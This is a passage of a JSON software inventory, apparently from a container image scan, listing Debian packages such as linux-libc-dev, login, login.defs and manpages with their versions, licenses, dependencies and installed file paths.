"/usr/lib/linux/uapi/mips/asm/stat.h", "/usr/lib/linux/uapi/mips/asm/statfs.h", "/usr/lib/linux/uapi/mips/asm/swab.h", "/usr/lib/linux/uapi/mips/asm/sysmips.h", "/usr/lib/linux/uapi/mips/asm/termbits.h", "/usr/lib/linux/uapi/mips/asm/termios.h", "/usr/lib/linux/uapi/mips/asm/types.h", "/usr/lib/linux/uapi/mips/asm/ucontext.h", "/usr/lib/linux/uapi/mips/asm/unistd.h", "/usr/lib/linux/uapi/mips/asm/unistd_n32.h", "/usr/lib/linux/uapi/mips/asm/unistd_n64.h", "/usr/lib/linux/uapi/mips/asm/unistd_o32.h", "/usr/lib/linux/uapi/parisc/asm/auxvec.h", "/usr/lib/linux/uapi/parisc/asm/bitsperlong.h", "/usr/lib/linux/uapi/parisc/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/parisc/asm/byteorder.h", "/usr/lib/linux/uapi/parisc/asm/cachectl.h", "/usr/lib/linux/uapi/parisc/asm/errno.h", "/usr/lib/linux/uapi/parisc/asm/fcntl.h", "/usr/lib/linux/uapi/parisc/asm/ioctl.h", "/usr/lib/linux/uapi/parisc/asm/ioctls.h", "/usr/lib/linux/uapi/parisc/asm/ipcbuf.h", "/usr/lib/linux/uapi/parisc/asm/mman.h", "/usr/lib/linux/uapi/parisc/asm/msgbuf.h", "/usr/lib/linux/uapi/parisc/asm/param.h", "/usr/lib/linux/uapi/parisc/asm/pdc.h", "/usr/lib/linux/uapi/parisc/asm/poll.h", "/usr/lib/linux/uapi/parisc/asm/posix_types.h", "/usr/lib/linux/uapi/parisc/asm/ptrace.h", "/usr/lib/linux/uapi/parisc/asm/resource.h", "/usr/lib/linux/uapi/parisc/asm/sembuf.h", "/usr/lib/linux/uapi/parisc/asm/setup.h", "/usr/lib/linux/uapi/parisc/asm/shmbuf.h", "/usr/lib/linux/uapi/parisc/asm/sigcontext.h", "/usr/lib/linux/uapi/parisc/asm/siginfo.h", "/usr/lib/linux/uapi/parisc/asm/signal.h", "/usr/lib/linux/uapi/parisc/asm/socket.h", "/usr/lib/linux/uapi/parisc/asm/sockios.h", "/usr/lib/linux/uapi/parisc/asm/stat.h", "/usr/lib/linux/uapi/parisc/asm/statfs.h", "/usr/lib/linux/uapi/parisc/asm/swab.h", "/usr/lib/linux/uapi/parisc/asm/termbits.h", "/usr/lib/linux/uapi/parisc/asm/termios.h", "/usr/lib/linux/uapi/parisc/asm/types.h", "/usr/lib/linux/uapi/parisc/asm/unistd.h", "/usr/lib/linux/uapi/parisc/asm/unistd_32.h", "/usr/lib/linux/uapi/parisc/asm/unistd_64.h", "/usr/lib/linux/uapi/powerpc/asm/auxvec.h", "/usr/lib/linux/uapi/powerpc/asm/bitsperlong.h", "/usr/lib/linux/uapi/powerpc/asm/bootx.h", "/usr/lib/linux/uapi/powerpc/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/powerpc/asm/byteorder.h", "/usr/lib/linux/uapi/powerpc/asm/cputable.h", "/usr/lib/linux/uapi/powerpc/asm/eeh.h", "/usr/lib/linux/uapi/powerpc/asm/elf.h", "/usr/lib/linux/uapi/powerpc/asm/epapr_hcalls.h", "/usr/lib/linux/uapi/powerpc/asm/errno.h", "/usr/lib/linux/uapi/powerpc/asm/fcntl.h", "/usr/lib/linux/uapi/powerpc/asm/ioctl.h", "/usr/lib/linux/uapi/powerpc/asm/ioctls.h", "/usr/lib/linux/uapi/powerpc/asm/ipcbuf.h", "/usr/lib/linux/uapi/powerpc/asm/kvm.h", "/usr/lib/linux/uapi/powerpc/asm/kvm_para.h", "/usr/lib/linux/uapi/powerpc/asm/mman.h", "/usr/lib/linux/uapi/powerpc/asm/msgbuf.h", "/usr/lib/linux/uapi/powerpc/asm/nvram.h", "/usr/lib/linux/uapi/powerpc/asm/opal-prd.h", "/usr/lib/linux/uapi/powerpc/asm/papr-miscdev.h", "/usr/lib/linux/uapi/powerpc/asm/papr-sysparm.h", "/usr/lib/linux/uapi/powerpc/asm/papr-vpd.h", "/usr/lib/linux/uapi/powerpc/asm/param.h", "/usr/lib/linux/uapi/powerpc/asm/perf_event.h", "/usr/lib/linux/uapi/powerpc/asm/perf_regs.h", "/usr/lib/linux/uapi/powerpc/asm/poll.h", "/usr/lib/linux/uapi/powerpc/asm/posix_types.h", "/usr/lib/linux/uapi/powerpc/asm/ps3fb.h", "/usr/lib/linux/uapi/powerpc/asm/ptrace.h", "/usr/lib/linux/uapi/powerpc/asm/resource.h", "/usr/lib/linux/uapi/powerpc/asm/sembuf.h", "/usr/lib/linux/uapi/powerpc/asm/setup.h", "/usr/lib/linux/uapi/powerpc/asm/shmbuf.h", "/usr/lib/linux/uapi/powerpc/asm/sigcontext.h", "/usr/lib/linux/uapi/powerpc/asm/siginfo.h", "/usr/lib/linux/uapi/powerpc/asm/signal.h", "/usr/lib/linux/uapi/powerpc/asm/socket.h", "/usr/lib/linux/uapi/powerpc/asm/sockios.h", "/usr/lib/linux/uapi/powerpc/asm/spu_info.h", "/usr/lib/linux/uapi/powerpc/asm/stat.h", "/usr/lib/linux/uapi/powerpc/asm/statfs.h", "/usr/lib/linux/uapi/powerpc/asm/swab.h", "/usr/lib/linux/uapi/powerpc/asm/termbits.h", "/usr/lib/linux/uapi/powerpc/asm/termios.h", "/usr/lib/linux/uapi/powerpc/asm/tm.h", "/usr/lib/linux/uapi/powerpc/asm/types.h", "/usr/lib/linux/uapi/powerpc/asm/ucontext.h", "/usr/lib/linux/uapi/powerpc/asm/unistd.h", "/usr/lib/linux/uapi/powerpc/asm/unistd_32.h", "/usr/lib/linux/uapi/powerpc/asm/unistd_64.h", "/usr/lib/linux/uapi/powerpc/asm/vas-api.h", "/usr/lib/linux/uapi/riscv/asm/auxvec.h", "/usr/lib/linux/uapi/riscv/asm/bitsperlong.h", "/usr/lib/linux/uapi/riscv/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/riscv/asm/byteorder.h", "/usr/lib/linux/uapi/riscv/asm/elf.h", "/usr/lib/linux/uapi/riscv/asm/errno.h", "/usr/lib/linux/uapi/riscv/asm/fcntl.h", "/usr/lib/linux/uapi/riscv/asm/hwcap.h", "/usr/lib/linux/uapi/riscv/asm/hwprobe.h", "/usr/lib/linux/uapi/riscv/asm/ioctl.h", "/usr/lib/linux/uapi/riscv/asm/ioctls.h", "/usr/lib/linux/uapi/riscv/asm/ipcbuf.h", "/usr/lib/linux/uapi/riscv/asm/kvm.h", "/usr/lib/linux/uapi/riscv/asm/mman.h", "/usr/lib/linux/uapi/riscv/asm/msgbuf.h", "/usr/lib/linux/uapi/riscv/asm/param.h", "/usr/lib/linux/uapi/riscv/asm/perf_regs.h", "/usr/lib/linux/uapi/riscv/asm/poll.h", "/usr/lib/linux/uapi/riscv/asm/posix_types.h", "/usr/lib/linux/uapi/riscv/asm/ptrace.h", "/usr/lib/linux/uapi/riscv/asm/resource.h", "/usr/lib/linux/uapi/riscv/asm/sembuf.h", "/usr/lib/linux/uapi/riscv/asm/setup.h", "/usr/lib/linux/uapi/riscv/asm/shmbuf.h", "/usr/lib/linux/uapi/riscv/asm/sigcontext.h", "/usr/lib/linux/uapi/riscv/asm/siginfo.h", "/usr/lib/linux/uapi/riscv/asm/signal.h", "/usr/lib/linux/uapi/riscv/asm/socket.h", "/usr/lib/linux/uapi/riscv/asm/sockios.h", "/usr/lib/linux/uapi/riscv/asm/stat.h", "/usr/lib/linux/uapi/riscv/asm/statfs.h", "/usr/lib/linux/uapi/riscv/asm/swab.h", "/usr/lib/linux/uapi/riscv/asm/termbits.h", "/usr/lib/linux/uapi/riscv/asm/termios.h", "/usr/lib/linux/uapi/riscv/asm/types.h", "/usr/lib/linux/uapi/riscv/asm/ucontext.h", "/usr/lib/linux/uapi/riscv/asm/unistd.h", "/usr/lib/linux/uapi/riscv/asm/unistd_32.h", "/usr/lib/linux/uapi/riscv/asm/unistd_64.h", "/usr/lib/linux/uapi/s390/asm/auxvec.h", "/usr/lib/linux/uapi/s390/asm/bitsperlong.h", "/usr/lib/linux/uapi/s390/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/s390/asm/byteorder.h", "/usr/lib/linux/uapi/s390/asm/chpid.h", "/usr/lib/linux/uapi/s390/asm/chsc.h", "/usr/lib/linux/uapi/s390/asm/clp.h", "/usr/lib/linux/uapi/s390/asm/cmb.h", "/usr/lib/linux/uapi/s390/asm/dasd.h", "/usr/lib/linux/uapi/s390/asm/errno.h", "/usr/lib/linux/uapi/s390/asm/fcntl.h", "/usr/lib/linux/uapi/s390/asm/fs3270.h", "/usr/lib/linux/uapi/s390/asm/guarded_storage.h", "/usr/lib/linux/uapi/s390/asm/hwctrset.h", "/usr/lib/linux/uapi/s390/asm/hypfs.h", "/usr/lib/linux/uapi/s390/asm/ioctl.h", "/usr/lib/linux/uapi/s390/asm/ioctls.h", "/usr/lib/linux/uapi/s390/asm/ipcbuf.h", "/usr/lib/linux/uapi/s390/asm/ipl.h", "/usr/lib/linux/uapi/s390/asm/kvm.h", "/usr/lib/linux/uapi/s390/asm/kvm_para.h", "/usr/lib/linux/uapi/s390/asm/kvm_perf.h", "/usr/lib/linux/uapi/s390/asm/mman.h", "/usr/lib/linux/uapi/s390/asm/monwriter.h", "/usr/lib/linux/uapi/s390/asm/msgbuf.h", "/usr/lib/linux/uapi/s390/asm/param.h", "/usr/lib/linux/uapi/s390/asm/perf_regs.h", "/usr/lib/linux/uapi/s390/asm/pkey.h", "/usr/lib/linux/uapi/s390/asm/poll.h", "/usr/lib/linux/uapi/s390/asm/posix_types.h", "/usr/lib/linux/uapi/s390/asm/ptrace.h", "/usr/lib/linux/uapi/s390/asm/qeth.h", "/usr/lib/linux/uapi/s390/asm/raw3270.h", "/usr/lib/linux/uapi/s390/asm/resource.h", "/usr/lib/linux/uapi/s390/asm/runtime_instr.h", "/usr/lib/linux/uapi/s390/asm/schid.h", "/usr/lib/linux/uapi/s390/asm/sclp_ctl.h", "/usr/lib/linux/uapi/s390/asm/sembuf.h", "/usr/lib/linux/uapi/s390/asm/setup.h", "/usr/lib/linux/uapi/s390/asm/shmbuf.h", "/usr/lib/linux/uapi/s390/asm/sie.h", "/usr/lib/linux/uapi/s390/asm/sigcontext.h", "/usr/lib/linux/uapi/s390/asm/siginfo.h", "/usr/lib/linux/uapi/s390/asm/signal.h", "/usr/lib/linux/uapi/s390/asm/socket.h", "/usr/lib/linux/uapi/s390/asm/sockios.h", "/usr/lib/linux/uapi/s390/asm/stat.h", "/usr/lib/linux/uapi/s390/asm/statfs.h", "/usr/lib/linux/uapi/s390/asm/sthyi.h", "/usr/lib/linux/uapi/s390/asm/swab.h", "/usr/lib/linux/uapi/s390/asm/tape390.h", "/usr/lib/linux/uapi/s390/asm/termbits.h", "/usr/lib/linux/uapi/s390/asm/termios.h", "/usr/lib/linux/uapi/s390/asm/types.h", "/usr/lib/linux/uapi/s390/asm/ucontext.h", "/usr/lib/linux/uapi/s390/asm/unistd.h", "/usr/lib/linux/uapi/s390/asm/unistd_32.h", "/usr/lib/linux/uapi/s390/asm/unistd_64.h", "/usr/lib/linux/uapi/s390/asm/uvdevice.h", "/usr/lib/linux/uapi/s390/asm/virtio-ccw.h", "/usr/lib/linux/uapi/s390/asm/vmcp.h", "/usr/lib/linux/uapi/s390/asm/vtoc.h", "/usr/lib/linux/uapi/s390/asm/zcrypt.h", "/usr/lib/linux/uapi/sh/asm/auxvec.h", "/usr/lib/linux/uapi/sh/asm/bitsperlong.h", "/usr/lib/linux/uapi/sh/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/sh/asm/byteorder.h", "/usr/lib/linux/uapi/sh/asm/cachectl.h", "/usr/lib/linux/uapi/sh/asm/cpu-features.h", "/usr/lib/linux/uapi/sh/asm/errno.h", "/usr/lib/linux/uapi/sh/asm/fcntl.h", "/usr/lib/linux/uapi/sh/asm/hw_breakpoint.h", "/usr/lib/linux/uapi/sh/asm/ioctl.h", "/usr/lib/linux/uapi/sh/asm/ioctls.h", "/usr/lib/linux/uapi/sh/asm/ipcbuf.h", "/usr/lib/linux/uapi/sh/asm/mman.h", "/usr/lib/linux/uapi/sh/asm/msgbuf.h", "/usr/lib/linux/uapi/sh/asm/param.h", "/usr/lib/linux/uapi/sh/asm/poll.h", "/usr/lib/linux/uapi/sh/asm/posix_types.h", "/usr/lib/linux/uapi/sh/asm/posix_types_32.h", "/usr/lib/linux/uapi/sh/asm/ptrace.h", "/usr/lib/linux/uapi/sh/asm/ptrace_32.h", "/usr/lib/linux/uapi/sh/asm/resource.h", "/usr/lib/linux/uapi/sh/asm/sembuf.h", "/usr/lib/linux/uapi/sh/asm/setup.h", "/usr/lib/linux/uapi/sh/asm/shmbuf.h", "/usr/lib/linux/uapi/sh/asm/sigcontext.h", "/usr/lib/linux/uapi/sh/asm/siginfo.h", "/usr/lib/linux/uapi/sh/asm/signal.h", "/usr/lib/linux/uapi/sh/asm/socket.h", "/usr/lib/linux/uapi/sh/asm/sockios.h", "/usr/lib/linux/uapi/sh/asm/stat.h", "/usr/lib/linux/uapi/sh/asm/statfs.h", "/usr/lib/linux/uapi/sh/asm/swab.h", "/usr/lib/linux/uapi/sh/asm/termbits.h", "/usr/lib/linux/uapi/sh/asm/termios.h", "/usr/lib/linux/uapi/sh/asm/types.h", "/usr/lib/linux/uapi/sh/asm/ucontext.h", "/usr/lib/linux/uapi/sh/asm/unistd.h", "/usr/lib/linux/uapi/sh/asm/unistd_32.h", "/usr/lib/linux/uapi/sparc/asm/apc.h", "/usr/lib/linux/uapi/sparc/asm/asi.h", "/usr/lib/linux/uapi/sparc/asm/auxvec.h", "/usr/lib/linux/uapi/sparc/asm/bitsperlong.h", "/usr/lib/linux/uapi/sparc/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/sparc/asm/byteorder.h", "/usr/lib/linux/uapi/sparc/asm/display7seg.h", "/usr/lib/linux/uapi/sparc/asm/envctrl.h", "/usr/lib/linux/uapi/sparc/asm/errno.h", "/usr/lib/linux/uapi/sparc/asm/fbio.h", "/usr/lib/linux/uapi/sparc/asm/fcntl.h", "/usr/lib/linux/uapi/sparc/asm/ioctl.h", "/usr/lib/linux/uapi/sparc/asm/ioctls.h", "/usr/lib/linux/uapi/sparc/asm/ipcbuf.h", "/usr/lib/linux/uapi/sparc/asm/mman.h", "/usr/lib/linux/uapi/sparc/asm/msgbuf.h", "/usr/lib/linux/uapi/sparc/asm/openpromio.h", "/usr/lib/linux/uapi/sparc/asm/oradax.h", "/usr/lib/linux/uapi/sparc/asm/param.h", "/usr/lib/linux/uapi/sparc/asm/perfctr.h", "/usr/lib/linux/uapi/sparc/asm/poll.h", "/usr/lib/linux/uapi/sparc/asm/posix_types.h", "/usr/lib/linux/uapi/sparc/asm/psr.h", "/usr/lib/linux/uapi/sparc/asm/psrcompat.h", "/usr/lib/linux/uapi/sparc/asm/pstate.h", "/usr/lib/linux/uapi/sparc/asm/ptrace.h", "/usr/lib/linux/uapi/sparc/asm/resource.h", "/usr/lib/linux/uapi/sparc/asm/sembuf.h", "/usr/lib/linux/uapi/sparc/asm/setup.h", "/usr/lib/linux/uapi/sparc/asm/shmbuf.h", "/usr/lib/linux/uapi/sparc/asm/sigcontext.h", "/usr/lib/linux/uapi/sparc/asm/siginfo.h", "/usr/lib/linux/uapi/sparc/asm/signal.h", "/usr/lib/linux/uapi/sparc/asm/socket.h", "/usr/lib/linux/uapi/sparc/asm/sockios.h", "/usr/lib/linux/uapi/sparc/asm/stat.h", "/usr/lib/linux/uapi/sparc/asm/statfs.h", "/usr/lib/linux/uapi/sparc/asm/swab.h", "/usr/lib/linux/uapi/sparc/asm/termbits.h", "/usr/lib/linux/uapi/sparc/asm/termios.h", "/usr/lib/linux/uapi/sparc/asm/traps.h", "/usr/lib/linux/uapi/sparc/asm/types.h", "/usr/lib/linux/uapi/sparc/asm/uctx.h", "/usr/lib/linux/uapi/sparc/asm/unistd.h", "/usr/lib/linux/uapi/sparc/asm/unistd_32.h", "/usr/lib/linux/uapi/sparc/asm/unistd_64.h", "/usr/lib/linux/uapi/sparc/asm/utrap.h", "/usr/lib/linux/uapi/sparc/asm/watchdog.h", "/usr/lib/linux/uapi/x86/asm/a.out.h", "/usr/lib/linux/uapi/x86/asm/amd_hsmp.h", "/usr/lib/linux/uapi/x86/asm/auxvec.h", "/usr/lib/linux/uapi/x86/asm/bitsperlong.h", "/usr/lib/linux/uapi/x86/asm/boot.h", "/usr/lib/linux/uapi/x86/asm/bootparam.h", "/usr/lib/linux/uapi/x86/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/x86/asm/byteorder.h", "/usr/lib/linux/uapi/x86/asm/debugreg.h", "/usr/lib/linux/uapi/x86/asm/e820.h", "/usr/lib/linux/uapi/x86/asm/elf.h", "/usr/lib/linux/uapi/x86/asm/errno.h", "/usr/lib/linux/uapi/x86/asm/fcntl.h", "/usr/lib/linux/uapi/x86/asm/hw_breakpoint.h", "/usr/lib/linux/uapi/x86/asm/hwcap2.h", "/usr/lib/linux/uapi/x86/asm/ioctl.h", "/usr/lib/linux/uapi/x86/asm/ioctls.h", "/usr/lib/linux/uapi/x86/asm/ipcbuf.h", "/usr/lib/linux/uapi/x86/asm/ist.h", "/usr/lib/linux/uapi/x86/asm/kvm.h", "/usr/lib/linux/uapi/x86/asm/kvm_para.h", "/usr/lib/linux/uapi/x86/asm/kvm_perf.h", "/usr/lib/linux/uapi/x86/asm/ldt.h", "/usr/lib/linux/uapi/x86/asm/mce.h", "/usr/lib/linux/uapi/x86/asm/mman.h", "/usr/lib/linux/uapi/x86/asm/msgbuf.h", "/usr/lib/linux/uapi/x86/asm/msr.h", "/usr/lib/linux/uapi/x86/asm/mtrr.h", "/usr/lib/linux/uapi/x86/asm/param.h", "/usr/lib/linux/uapi/x86/asm/perf_regs.h", "/usr/lib/linux/uapi/x86/asm/poll.h", "/usr/lib/linux/uapi/x86/asm/posix_types.h", "/usr/lib/linux/uapi/x86/asm/posix_types_32.h", "/usr/lib/linux/uapi/x86/asm/posix_types_64.h", "/usr/lib/linux/uapi/x86/asm/posix_types_x32.h", "/usr/lib/linux/uapi/x86/asm/prctl.h", "/usr/lib/linux/uapi/x86/asm/processor-flags.h", "/usr/lib/linux/uapi/x86/asm/ptrace-abi.h", "/usr/lib/linux/uapi/x86/asm/ptrace.h", "/usr/lib/linux/uapi/x86/asm/resource.h", "/usr/lib/linux/uapi/x86/asm/sembuf.h", "/usr/lib/linux/uapi/x86/asm/setup.h", "/usr/lib/linux/uapi/x86/asm/setup_data.h", "/usr/lib/linux/uapi/x86/asm/sgx.h", "/usr/lib/linux/uapi/x86/asm/shmbuf.h", "/usr/lib/linux/uapi/x86/asm/sigcontext.h", "/usr/lib/linux/uapi/x86/asm/sigcontext32.h", "/usr/lib/linux/uapi/x86/asm/siginfo.h", "/usr/lib/linux/uapi/x86/asm/signal.h", "/usr/lib/linux/uapi/x86/asm/socket.h", "/usr/lib/linux/uapi/x86/asm/sockios.h", "/usr/lib/linux/uapi/x86/asm/stat.h", "/usr/lib/linux/uapi/x86/asm/statfs.h", "/usr/lib/linux/uapi/x86/asm/svm.h", "/usr/lib/linux/uapi/x86/asm/swab.h", "/usr/lib/linux/uapi/x86/asm/termbits.h", "/usr/lib/linux/uapi/x86/asm/termios.h", "/usr/lib/linux/uapi/x86/asm/types.h", "/usr/lib/linux/uapi/x86/asm/ucontext.h", "/usr/lib/linux/uapi/x86/asm/unistd.h", "/usr/lib/linux/uapi/x86/asm/unistd_32.h", "/usr/lib/linux/uapi/x86/asm/unistd_64.h", "/usr/lib/linux/uapi/x86/asm/unistd_x32.h", "/usr/lib/linux/uapi/x86/asm/vm86.h", "/usr/lib/linux/uapi/x86/asm/vmx.h", "/usr/lib/linux/uapi/x86/asm/vsyscall.h", "/usr/share/doc/linux-libc-dev/changelog.Debian.gz", "/usr/share/doc/linux-libc-dev/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "login@1:4.16.0-2+really2.41-5", "Name": "login", "Identifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "Version": "4.16.0-2+really2.41", "Release": "5", "Epoch": 1, "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:4.0.2-2+b2", "libc6@2.41-12+deb13u3", "libcrypt1@1:4.4.38-1", "libpam-modules@1.7.0-5", "libpam-runtime@1.7.0-5", "libpam0g@1.7.0-5" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/login", "/usr/bin/newgrp", "/usr/sbin/nologin", "/usr/share/bash-completion/completions/newgrp", "/usr/share/doc/login/NEWS.Debian.gz", "/usr/share/doc/login/changelog.Debian.gz", "/usr/share/doc/login/changelog.gz", "/usr/share/doc/login/copyright", "/usr/share/lintian/overrides/login", "/usr/share/man/de/man1/login.1.gz", "/usr/share/man/de/man8/nologin.8.gz", "/usr/share/man/fr/man1/login.1.gz", "/usr/share/man/man1/login.1.gz", "/usr/share/man/man1/newgrp.1.gz", "/usr/share/man/man8/nologin.8.gz", "/usr/share/man/pl/man1/login.1.gz", "/usr/share/man/pl/man1/newgrp.1.gz", "/usr/share/man/pl/man8/nologin.8.gz", "/usr/share/man/ro/man1/login.1.gz", "/usr/share/man/ro/man1/newgrp.1.gz", "/usr/share/man/ro/man8/nologin.8.gz", "/usr/share/man/sr/man1/login.1.gz", "/usr/share/man/sr/man8/nologin.8.gz", "/usr/share/man/uk/man1/login.1.gz", "/usr/share/man/uk/man1/newgrp.1.gz", "/usr/share/man/uk/man8/nologin.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "login.defs@1:4.17.4-2", "Name": "login.defs", "Identifier": { "PURL": "pkg:deb/debian/login.defs@4.17.4-2?arch=all\u0026distro=debian-13.6\u0026epoch=1", "UID": "b6a337588c67d5a3" }, "Version": "4.17.4", "Release": "2", "Epoch": 1, "Arch": "all", "SrcName": "shadow", "SrcVersion": "4.17.4", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-1.0-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/share/doc/login.defs/NEWS.Debian.gz", "/usr/share/doc/login.defs/changelog.Debian.gz", "/usr/share/doc/login.defs/changelog.gz", "/usr/share/doc/login.defs/copyright", "/usr/share/man/de/man5/login.defs.5.gz", "/usr/share/man/fr/man5/login.defs.5.gz", "/usr/share/man/it/man5/login.defs.5.gz", "/usr/share/man/ja/man5/login.defs.5.gz", "/usr/share/man/man5/login.defs.5.gz", "/usr/share/man/ru/man5/login.defs.5.gz", "/usr/share/man/uk/man5/login.defs.5.gz", "/usr/share/man/zh_CN/man5/login.defs.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "manpages@6.9.1-1", "Name": "manpages", "Identifier": { "PURL": "pkg:deb/debian/manpages@6.9.1-1?arch=all\u0026distro=debian-13.6", "UID": "d6fa9d465dc2c34a" }, "Version": "6.9.1", "Release": "1", "Arch": "all", "SrcName": "manpages", "SrcVersion": "6.9.1", "SrcRelease": "1", "Licenses": [ "GPL-2.0-or-later", "may be freely modified", "distributed", "BSD-2-Clause", "BSD-3-Clause", "BSD-4-Clause", "Linux-man-pages-copyleft", "MIT", "GPL-1.0-or-later", "GPL-2.0-only", "GPL-3.0-only", "Linux-man-pages-1-para", "Linux-man-pages-copyleft-2-para", "Linux-man-pages-copyleft-var" ], "Maintainer": "Dr. Tobias Quathamer \u003ctoddy@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/manpages/Changes.old.gz", "/usr/share/doc/manpages/POSIX-MANPAGES", "/usr/share/doc/manpages/TODO.Debian", "/usr/share/doc/manpages/changelog.Debian.gz", "/usr/share/doc/manpages/changelog.gz", "/usr/share/doc/manpages/copyright", "/usr/share/doc/manpages/man-addons.el", "/usr/share/lintian/overrides/manpages", "/usr/share/man/man1/getent.1.gz", "/usr/share/man/man1/iconv.1.gz", "/usr/share/man/man1/intro.1.gz", "/usr/share/man/man1/ldd.1.gz", "/usr/share/man/man1/locale.1.gz", "/usr/share/man/man1/localedef.1.gz", "/usr/share/man/man1/memusage.1.gz", "/usr/share/man/man1/memusagestat.1.gz", "/usr/share/man/man1/mtrace.1.gz", "/usr/share/man/man1/pldd.1.gz", "/usr/share/man/man1/sprof.1.gz", "/usr/share/man/man2/intro.2.gz", "/usr/share/man/man3/S_ISBLK.3.gz", "/usr/share/man/man3/S_ISCHR.3.gz", "/usr/share/man/man3/S_ISDIR.3.gz", "/usr/share/man/man3/S_ISFIFO.3.gz", "/usr/share/man/man3/S_ISLNK.3.gz", "/usr/share/man/man3/S_ISREG.3.gz", "/usr/share/man/man3/S_ISSOCK.3.gz", "/usr/share/man/man3/intro.3.gz", "/usr/share/man/man3/queue.3.gz", "/usr/share/man/man3/siginfo_t.3type.gz", "/usr/share/man/man3/sigset_t.3type.gz", "/usr/share/man/man4/cciss.4.gz", "/usr/share/man/man4/console_codes.4.gz", "/usr/share/man/man4/cpuid.4.gz", "/usr/share/man/man4/dsp56k.4.gz", "/usr/share/man/man4/full.4.gz", "/usr/share/man/man4/fuse.4.gz", "/usr/share/man/man4/hd.4.gz", "/usr/share/man/man4/hpsa.4.gz", "/usr/share/man/man4/initrd.4.gz", "/usr/share/man/man4/intro.4.gz", "/usr/share/man/man4/lirc.4.gz", "/usr/share/man/man4/loop.4.gz", "/usr/share/man/man4/lp.4.gz", "/usr/share/man/man4/mem.4.gz", "/usr/share/man/man4/mouse.4.gz", "/usr/share/man/man4/msr.4.gz", "/usr/share/man/man4/null.4.gz", "/usr/share/man/man4/pts.4.gz", "/usr/share/man/man4/ram.4.gz", "/usr/share/man/man4/random.4.gz", "/usr/share/man/man4/rtc.4.gz", "/usr/share/man/man4/sd.4.gz", "/usr/share/man/man4/smartpqi.4.gz", "/usr/share/man/man4/st.4.gz", "/usr/share/man/man4/tty.4.gz", "/usr/share/man/man4/ttyS.4.gz", "/usr/share/man/man4/vcs.4.gz", "/usr/share/man/man4/veth.4.gz", "/usr/share/man/man4/wavelan.4.gz", "/usr/share/man/man5/acct.5.gz", "/usr/share/man/man5/charmap.5.gz", "/usr/share/man/man5/core.5.gz", "/usr/share/man/man5/dir_colors.5.gz", "/usr/share/man/man5/elf.5.gz", "/usr/share/man/man5/erofs.5.gz", "/usr/share/man/man5/filesystems.5.gz", "/usr/share/man/man5/gai.conf.5.gz", "/usr/share/man/man5/group.5.gz", "/usr/share/man/man5/host.conf.5.gz", "/usr/share/man/man5/hosts.5.gz", "/usr/share/man/man5/hosts.equiv.5.gz", "/usr/share/man/man5/intro.5.gz", "/usr/share/man/man5/issue.5.gz", "/usr/share/man/man5/locale.5.gz", "/usr/share/man/man5/motd.5.gz", "/usr/share/man/man5/networks.5.gz", "/usr/share/man/man5/nologin.5.gz", "/usr/share/man/man5/nss.5.gz", "/usr/share/man/man5/nsswitch.conf.5.gz", "/usr/share/man/man5/proc.5.gz", "/usr/share/man/man5/proc_apm.5.gz", "/usr/share/man/man5/proc_buddyinfo.5.gz", "/usr/share/man/man5/proc_bus.5.gz", "/usr/share/man/man5/proc_cgroups.5.gz", "/usr/share/man/man5/proc_cmdline.5.gz", "/usr/share/man/man5/proc_config.gz.5.gz", "/usr/share/man/man5/proc_cpuinfo.5.gz", "/usr/share/man/man5/proc_crypto.5.gz", "/usr/share/man/man5/proc_devices.5.gz", "/usr/share/man/man5/proc_diskstats.5.gz", "/usr/share/man/man5/proc_dma.5.gz", "/usr/share/man/man5/proc_driver.5.gz", "/usr/share/man/man5/proc_execdomains.5.gz", "/usr/share/man/man5/proc_fb.5.gz", "/usr/share/man/man5/proc_filesystems.5.gz", "/usr/share/man/man5/proc_fs.5.gz", "/usr/share/man/man5/proc_ide.5.gz", "/usr/share/man/man5/proc_interrupts.5.gz", "/usr/share/man/man5/proc_iomem.5.gz", "/usr/share/man/man5/proc_ioports.5.gz", "/usr/share/man/man5/proc_kallsyms.5.gz", "/usr/share/man/man5/proc_kcore.5.gz", "/usr/share/man/man5/proc_keys.5.gz", "/usr/share/man/man5/proc_kmsg.5.gz", "/usr/share/man/man5/proc_kpagecgroup.5.gz", "/usr/share/man/man5/proc_kpagecount.5.gz", "/usr/share/man/man5/proc_kpageflags.5.gz", "/usr/share/man/man5/proc_loadavg.5.gz", "/usr/share/man/man5/proc_locks.5.gz", "/usr/share/man/man5/proc_malloc.5.gz", "/usr/share/man/man5/proc_meminfo.5.gz", "/usr/share/man/man5/proc_modules.5.gz", "/usr/share/man/man5/proc_mtrr.5.gz", "/usr/share/man/man5/proc_partitions.5.gz", 